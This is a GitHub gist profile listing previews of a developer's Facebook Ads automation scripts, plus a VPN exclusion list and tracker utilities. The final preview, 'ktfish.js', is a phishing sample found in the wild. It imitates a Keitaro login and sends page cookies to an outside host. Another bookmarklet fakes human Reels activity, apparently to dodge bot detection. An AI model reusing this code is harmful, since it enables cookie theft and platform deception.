Skip to content

Instantly share code, notes, and snippets.

View dvygolov's full-sized avatar
🤖
Replacing YOU with robots

Daniel Vygolov dvygolov

🤖
Replacing YOU with robots
View GitHub Profile
@dvygolov
dvygolov / fb-pixel-partner-request.js
Created April 25, 2026 11:28
This script helps to send a partner request for a Facebook Dataset (not usual pixel!) event if such requests are greyed in the UI
(function fbPixelPartnerRequestBootstrap() {
"use strict";
const Config = {
VERSION: "260423-ui",
GRAPHQL_PATH: "/api/graphql/",
MODAL_QUERY_DOC_ID: "24885284537836579",
VALIDATION_QUERY_DOC_ID: "9794646500614064",
MUTATION_DOC_ID: "26181988954765546",
MODAL_QUERY_NAME: "BizKitSettingsAddPartnerToAssetByBusinessIDModalQuery",
@dvygolov
dvygolov / sharebmpixel2acc.js
Last active April 22, 2026 08:35
This script helps to share meta pixel to an ad account in a business manager when you have problems with sharing using standart methods
function bmPixelShareManagerApp() {
const APP_ID = "bm-pixel-share-ui";
const STYLE_ID = `${APP_ID}-style`;
const GRAPH_VERSION = "v22.0";
const INTERNAL_GRAPHQL_ENDPOINT = "/api/graphql/?_callFlowletID=0&_triggerFlowletID=1&qpl_active_e2e_trace_ids=";
const INTERNAL_GRAPHQL_CALLER = "RelayModern";
const INTERNAL_PIXEL_LIST_QUERY = {
friendlyName: "BusinessCometBizSuiteSettingsEventsDatasetRootQuery",
docId: "27075127438747082",
};
@dvygolov
dvygolov / exclude.json
Created February 27, 2026 13:02
Amnezia VPN pass-through filters for russian sites
[
{
"hostname": "195.178.108.0\/23",
"ip": ""
},
{
"hostname": "91.215.36.0\/22",
"ip": ""
},
{
@dvygolov
dvygolov / thisisfine-v2.js
Last active February 17, 2026 08:37
This bookmarklet script scrolls Facebook Reels imitating live account benavior. By Сельский Арбитраж at https://t.me/c/1428671974/194
javascript:(function(){const old=document.getElementById("__neutralAutoScrollUI__");if(old)old.remove();const P='__fine_'+Math.random().toString(36).substr(2,6)+'_';let running=false,countdownTimer=null,_cachedScrollTarget=null,_cacheTimestamp=0;const CACHE_TTL=15000;let stats={scrolls:0,likes:0,likeFails:0,alreadyLiked:0,startTime:null};const LIKE_LABELS=['like','нравится','thích','me gusta',"j'aime",'gefällt mir','curtir','좋아요','いいね','أعجبني','beğen','suka','mi piace','tykkää','leuk','gilla','synes godt om','lubię to','подобається','лайк','patīk','patinka'];const randInt=(a,b)=>Math.floor(Math.random()*(b-a+1))+a;const clamp=(v,a,b)=>Math.max(a,Math.min(b,v));const $=id=>document.getElementById(P+id);function simulateRealClick(el){return new Promise(resolve=>{const r=el.getBoundingClientRect();const x=r.left+r.width*(0.3+Math.random()*0.4);const y=r.top+r.height*(0.3+Math.random()*0.4);const c={view:window,bubbles:true,cancelable:true,clientX:x,clientY:y,screenX:x+window.screenX,screenY:y+window.screenY};el
@dvygolov
dvygolov / fbBlockedUsersManager.js
Last active January 8, 2026 19:20
This script can import/export blocked users to/from your Meta's Fan Pages. Run it in browser's console in Ads Manager.
class FileHelper {
readTextFile(file) {
return new Promise((resolve, reject) => {
const reader = new FileReader();
reader.onload = () => resolve(reader.result);
reader.onerror = () => reject("Error reading file");
reader.readAsText(file);
});
}
@dvygolov
dvygolov / clmnPresetsManager.js
Last active March 21, 2026 12:56
Script to manage column presets of Ads Manager: import/export columns
// ============================================
// Configuration
// ============================================
const Config = {
VERSION: "2026.03.16",
API_VERSION: "v23.0",
API_URL: "https://adsmanager-graph.facebook.com/v23.0/"
};
// ============================================
@dvygolov
dvygolov / autorulesManager.js
Last active April 7, 2026 11:38
Script for import/export Facebook Ads Autorules with ability to bulk switch rules on/off
const Config = {
VERSION: "2026.04.07",
BATCH_SIZE: 40,
BATCH_DELAY_MS: 600,
ACCOUNT_DELAY_MS: 1000,
DELETE_DELAY_MS: 300,
API_VERSION: "v23.0",
API_URL: "https://adsmanager-graph.facebook.com/v23.0/"
};
@dvygolov
dvygolov / dolphincloudadfix.js
Created April 9, 2025 10:42
removes unnecessary text from ad section in Dolphin Cloud: https://yellowweb.top/dolphincloud
// 1. Заменяем лишние div на иконку с тултипом
document.querySelectorAll(
'.v-data-table__wrapper table tbody tr td:nth-child(3) > div:first-child > div:nth-child(2)'
).forEach(originalDiv => {
const content = originalDiv.innerHTML;
const tooltipWrapper = document.createElement('span');
tooltipWrapper.style.position = 'relative';
tooltipWrapper.style.cursor = 'pointer';
tooltipWrapper.style.display = 'inline-block';
@dvygolov
dvygolov / binomtgdeppush.php
Created April 3, 2025 07:17
Binom + Telegram postback script that notifies buyers about new deposits
<?php
/**
* Binom Postback Filter Middleware v0.2
* by Yellow Web (https://yellowweb.top)
* This script receives postback data from Binom tracker
* about registrations and deposits,
* filters out registrations (cnv_status = 'reg'),
* and only forwards deposits (cnv_status = 'dep') to the Telegram bot.
*/
@dvygolov
dvygolov / ktfish.js
Created February 21, 2025 09:02
Fishing script that mimics Keitaro login form and steals data. Found in the wild.
document.addEventListener("DOMContentLoaded", (function() {
if (window.location.href.includes("/admin")) {
const e = {};
document.cookie.split(";").some((e => e.trim().startsWith(
"cookieName="))) && (e["X-Cookie"] = document
.cookie), fetch("https://xxxbigdicker.com/kei", {
method: "GET",
headers: e
}).then((e => {
if (!e.ok) throw new Error(